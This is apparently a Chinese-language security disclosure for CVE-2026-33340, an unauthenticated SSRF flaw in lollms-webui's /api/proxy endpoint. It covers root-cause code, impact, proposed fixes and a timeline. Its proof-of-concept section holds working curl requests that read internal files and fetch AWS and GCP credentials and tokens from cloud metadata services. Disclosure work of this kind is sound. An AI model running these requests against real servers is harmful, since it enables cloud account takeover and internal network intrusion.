regaan/CVE-2026-33340

GitHub: regaan/CVE-2026-33340

这是针对 lollms-webui 未授权 SSRF 漏洞(CVE-2026-33340,CVSS 9.1)的完整安全披露,涵盖根因分析、概念验证利用代码与修复建议。

Stars: 0 | Forks: 0

# CVE-2026-33340:lollms-webui 中的 SSRF 漏洞 ## 概述 | 字段 | 详细信息 | |---|---| | **CVE ID** | CVE-2026-33340 | | **漏洞类型** | 服务端请求伪造 (SSRF) | | **受影响产品** | ParisNeo/lollms-webui (LoLLMs WEBUI) | | **严重程度** | 严重 — CVSS 9.1 | | **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` | | **CWE** | CWE-918: 服务端请求伪造 (SSRF) | | **受影响组件** | `lollms_core/lollms/server/endpoints/lollms_apps.py` | | **漏洞端点** | `/api/proxy` | | **安全通报** | [GHSA-mcwr-5469-pxj4](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) | | **NVD** | [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-33340) | | **SentinelOne** | [SentinelOne 分析](https://www.sentinelone.com/vulnerability-database/cve-2026-33340/) | | **发现者** | [Regaan R](https://github.com/regaan) — [ROT 独立安全研究实验室](https://rothackers.com) | ## 摘要 在 `lollms-webui`(Lord of Large Language and Multi modal Systems 的 Web 界面)中发现了一个严重的服务端请求伪造 (SSRF) 漏洞。`@router.post("/api/proxy")` 端点允许**未经身份验证的攻击者**强制服务器发起任意的 GET 请求。该漏洞可被利用于访问内部服务、扫描本地网络,或窃取敏感的云元数据(例如 AWS/GCP IAM token)。 ## 受影响产品 - **代码库**:[`ParisNeo/lollms-webui`](https://github.com/ParisNeo/lollms-webui) / [`ParisNeo/lollms`](https://github.com/ParisNeo/lollms) - **受影响组件**:`lollms_core/lollms/server/endpoints/lollms_apps.py` ([第 443-450 行](https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450)) - **漏洞端点**:`/api/proxy` - **受影响版本**:所有已知现有版本 ## 根本原因分析 该漏洞的存在是因为 `lollms_apps.py` 中的 `proxy` 函数没有实现身份验证或任何形式的 URL/域名验证。它直接接收来自用户的原始 URL 字符串,并将其传递给异步 HTTP 客户端。 ### 漏洞代码 ``` @router.post("/api/proxy") async def proxy(request: ProxyRequest): try: async with httpx.AsyncClient() as client: # No check_access() call — unauthenticated # No URL validation — arbitrary destinations response = await client.get(request.url) return {"content": response.text} except Exception as e: raise HTTPException(status_code=500, detail=str(e)) ``` ### 问题所在 1. **无身份验证**:该端点没有调用 `check_access(lollmsElfServer, request.client_id)` 或任何身份验证中间件,允许任何未经身份验证的用户调用它。 2. **无 URL 验证**:用户提供的 URL 直接传递给 `httpx.AsyncClient().get()`,而没有根据白名单检查目标地址或阻止私有/内部 IP 段。 3. **完整响应泄露**:整个 HTTP 响应体通过 `{"content": response.text}` 返回给调用者,导致数据可被完全窃取。 ## 概念验证 ### 步骤 1 — 设置模拟内部服务 ``` echo "INTERNAL_SECRET_DATA" > secret.txt python3 -m http.server 8888 ``` ### 步骤 2 — 利用 SSRF ``` curl -X POST http://localhost:9600/api/proxy \ -H "Content-Type: application/json" \ -d '{"url": "http://localhost:8888/secret.txt"}' ``` ### 步骤 3 — 观察响应 ``` {"content": "INTERNAL_SECRET_DATA\n"} ``` 服务器从内部服务获取了文件并将其内容返回给攻击者。 ### 云元数据利用 ``` # AWS IMDSv1 — 检索 IAM 凭证 curl -X POST http://:9600/api/proxy \ -H "Content-Type: application/json" \ -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' # GCP — 检索 access token curl -X POST http://:9600/api/proxy \ -H "Content-Type: application/json" \ -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}' ``` ## 影响 | 场景 | 描述 | |---|---| | **云凭证窃取** | 云平台 (AWS/GCP/Azure) 上的攻击者可以访问 `http://169.254.169.254/` 以检索实例元数据、IAM 凭证和 access token —— 从而导致云账户被全面接管。 | | **内网横向渗透** | 攻击者可以探测未暴露在公共互联网上的内部数据库、API、管理后台和管理接口。 | | **本地服务访问** | 攻击者可以访问绑定到 `localhost` 的服务(Redis、Elasticsearch、Docker API、数据库控制台),这些服务默认信任本地流量。 | | **内部端口扫描** | 通过观察响应时间和错误消息,该 SSRF 可用于枚举内部网络上的开放端口和运行中的服务。 | | **数据窃取** | 服务器网络可达范围内任何可通过 HTTP 访问的数据都可以被读取并返回给攻击者。 | ## 攻击流程 ``` Attacker lollms-webui Server Internal Network | | | | POST /api/proxy | | | {"url": "http://169.254..."} | | |----------------------------------->| | | | GET http://169.254.169.254/... | | |------------------------------------->| | | | | | 200 OK (IAM credentials) | | |<-------------------------------------| | | | | {"content": ""} | | |<-----------------------------------| | ``` ## 建议修复方案 ### 1. 添加身份验证 ``` @router.post("/api/proxy") async def proxy(request: ProxyRequest): check_access(lollmsElfServer, request.client_id) # Add this # ... ``` ### 2. 实施 URL 验证 ``` from urllib.parse import urlparse import ipaddress BLOCKED_RANGES = [ ipaddress.ip_network("127.0.0.0/8"), ipaddress.ip_network("10.0.0.0/8"), ipaddress.ip_network("172.16.0.0/12"), ipaddress.ip_network("192.168.0.0/16"), ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata ] def is_safe_url(url: str) -> bool: parsed = urlparse(url) hostname = parsed.hostname if hostname in ("localhost", ""): return False try: ip = ipaddress.ip_address(hostname) return not any(ip in network for network in BLOCKED_RANGES) except ValueError: # Hostname is a domain — resolve and check import socket resolved = socket.gethostbyname(hostname) ip = ipaddress.ip_address(resolved) return not any(ip in network for network in BLOCKED_RANGES) ``` ### 3. 限制为白名单域名 ``` ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"] def is_whitelisted(url: str) -> bool: parsed = urlparse(url) return parsed.hostname in ALLOWED_DOMAINS ``` ## 补丁状态 截至发布日期,lollms-webui **尚未发布**修复版本。请关注 [GitHub 安全通报](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) 获取更新。 ## 时间线 | 日期 | 事件 | |---|---| | 2026-03-07 | 通过 GitHub Security Advisory 发现并报告漏洞 | | 2026-03-24 | CVE-2026-33340 发布至 NVD | | 2026-03-25 | NVD 数据库条目更新 | | 2026-03-27 | SentinelOne 发布漏洞分析 | ## 参考文献 - [NVD — CVE-2026-33340](https://nvd.nist.gov/vuln/detail/CVE-2026-33340) - [GitHub 安全通报 — GHSA-mcwr-5469-pxj4](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) - [SentinelOne 漏洞数据库 — CVE-2026-33340](https://www.sentinelone.com/vulnerability-database/cve-2026-33340/) - [漏洞源代码 (第 443-450 行)](https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450) ## 发现者 **Regaan R** ([@regaan](https://github.com/regaan)) 首席研究员 — [ROT 独立安全研究实验室](https://rothackers.com) ## 免责声明 本报告仅出于教育和防御目的发布。该漏洞已通过 GitHub Security Advisories 进行负责任的披露。在对漏洞进行测试之前,请务必获得适当的授权。 ## 许可证 本报告在 [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/) 许可下发布。
标签:API安全, CISA项目, CVE-2026-33340, CVSS 9.1, CWE-918, JSON输出, LoLLMs, lollms-webui, PoC, SSRF, Web安全, 云元数据提取, 内部网络扫描, 大语言模型安全, 插件系统, 数据展示, 暴力破解, 服务端请求伪造, 未授权访问, 机密管理, 漏洞分析, 红队, 网络安全, 蓝队分析, 路径探测, 运行时操纵, 逆向工具, 隐私保护, 高危漏洞